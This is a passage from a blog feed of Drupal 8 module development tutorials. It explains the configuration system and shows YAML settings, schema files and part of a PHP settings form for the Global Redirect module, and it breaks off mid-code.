&lt;p&gt;Next up will be to create and define those configurations options. In Drupal 7 we used the variable system to save and load configuration options, thus calling &lt;code&gt;variable_set()&lt;/code&gt; and &lt;code&gt;variable_get()&lt;/code&gt; in our modules, and all of this configuration data was saved in the database just like the rest of Drupal’s data storage. This brought clutter and quite some mess, where pure data is mixed with configuration information and such. Out of the necessity to deal with this in Drupal 7 we’ve turned into modules like &lt;code&gt;Features&lt;/code&gt;, &lt;code&gt;Strongarm&lt;/code&gt; and others, although none of these is an ideal solution. For this reason, Drupal 8 defined the configuration initiative which aim is to attack this problem and make this simpler.&lt;/p&gt;
&lt;h2 id=&quot;defining-settings&quot;&gt;Defining settings&lt;/h2&gt;
&lt;p&gt;For a module to declare settings, it needs to create a  &lt;code&gt;config/&lt;/code&gt;  directory in the module’s root directory and create a configuration file &lt;code&gt;&amp;#x3C;modulename&gt;.settings.yml&lt;/code&gt;. For example the &lt;code&gt;globalredirect&lt;/code&gt; module has the following settings declared in  &lt;code&gt;config/globalredirect.settings.yml&lt;/code&gt;  with their default options too:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;deslash: &apos;1&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;nonclean_to_clean: &apos;1&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;trailing_zero: &apos;0&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;menu_check: &apos;0&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;case_sensitive_urls: &apos;1&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;language_redirect: &apos;0&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;canonical: &apos;0&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;content_location_header: &apos;0&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;term_path_handler: &apos;1&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;frontpage_redirect: &apos;1&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ignore_admin_path: &apos;1&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While it’s not a requirement, it is advised to also create the schema settings file which extends the exported settings with more metadata and allows for localization amongst other things. To make this happen, we will create the directory  &lt;code&gt;config/schema/&lt;/code&gt;  and inside it include the file  &lt;code&gt;globalredirect.schema.yml&lt;/code&gt;  with the following content which shows a couple of configuration settings only to not spam you with code:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;globalredirect.settings:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  type: mapping&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  label: &apos;Global Redirect Settings&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  mapping:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    deslash:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      type: boolean&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      label: &apos;Deslash&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;    nonclean_to_clean:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      type: boolean&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;      label: &apos;Non-clean to Clean&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;using-module-configuration&quot;&gt;Using module configuration&lt;/h2&gt;
&lt;p&gt;We’ve seen previously how to make use of a module’s declared settings but we’ll revisit it shortly now.&lt;/p&gt;
&lt;p&gt;To interact with the exposed settings of the module, we can make use of the configFactory and it’s setters and getters. For example, to read the module’s settings we can do:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$config &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;globalredirect.settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$deslash &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $config&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;deslash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Drupal 8 module development #3 – adding a settings page – revision</title><link>https://lirantal.com/blog/2013-10-01/</link><guid>https://lirantal.com/blog/2013-10-01/</guid><description>Another post in the series of Drupal 8 module development articles. This time we&apos;ll add a settings page to our module.</description><pubDate>Tue, 01 Oct 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the &lt;a href=&quot;http://www.enginx.com/content/drupal-8-module-development-3-adding-settings-page&quot;&gt;previous article&lt;/a&gt; we introduced the configuration system and showed how to create a settings form, integrate with the configuration management system and enable our module to save it’s configuration data using this system.&lt;/p&gt;
&lt;p&gt;As things  &lt;a href=&quot;https://drupal.org/list-changes&quot;&gt;still change&lt;/a&gt; pretty quickly in the Drupal 8 arena some of the items in the previous post are not valid anymore so while I’ve updated the code for our  &lt;a href=&quot;https://drupal.org/project/globalredirect&quot;&gt;Global Redirect module&lt;/a&gt;  on drupal/git, I wanted to post the revised and full and up-to-date (for now :)) version of the settings form:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt; * @file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt; * This is the GlobalRedirect admin include which provides an interface to global redirect to change some of the default settings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt; * Contains \Drupal\globalredirect\Form\GlobalredirectSettingsForm.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;namespace&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Drupal\globalredirect\Form&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;use&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Drupal\Core\Form\ConfigFormBase&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt; * Defines a form to configure module settings.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;GlobalredirectSettingsForm&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;extends&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;ConfigFormBase&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   * {&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;@inheritdoc&lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;getFormID&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;globalredirect_settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   * {&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;@inheritdoc&lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;   */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;buildForm&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $form, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$form_state) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	&lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Get all settings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	$config &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;globalredirect.settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	$settings &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $config&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    	&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#tree&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;TRUE&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	$form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;deslash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  		&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  		&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Deslash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  		&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, this option will remove the trailing slash from requests. This stops requests such as `example.com/node/1/` failing to match the corresponding alias and can cause duplicate content. On the other hand, if you require certain requests to have a trailing slash, this feature can cause problems so may need to be disabled.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  		&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;deslash&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  	);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;nonclean_to_clean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;checkbox&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Non-clean to Clean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#description&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;If enabled, this option will redirect from non-clean to clean URL (if Clean URL&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\&apos;&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;s are enabled). This will stop, for example, node 1  existing on both `example.com/node/1` AND `example.com?q=node/1`.&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#default_value&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; $settings[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;nonclean_to_clean&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	  $form[&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;settings&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;trailing_zero&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#type&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;radios&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;	    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#title&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;$this&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;t&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Remove Trailing Zero Argument&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
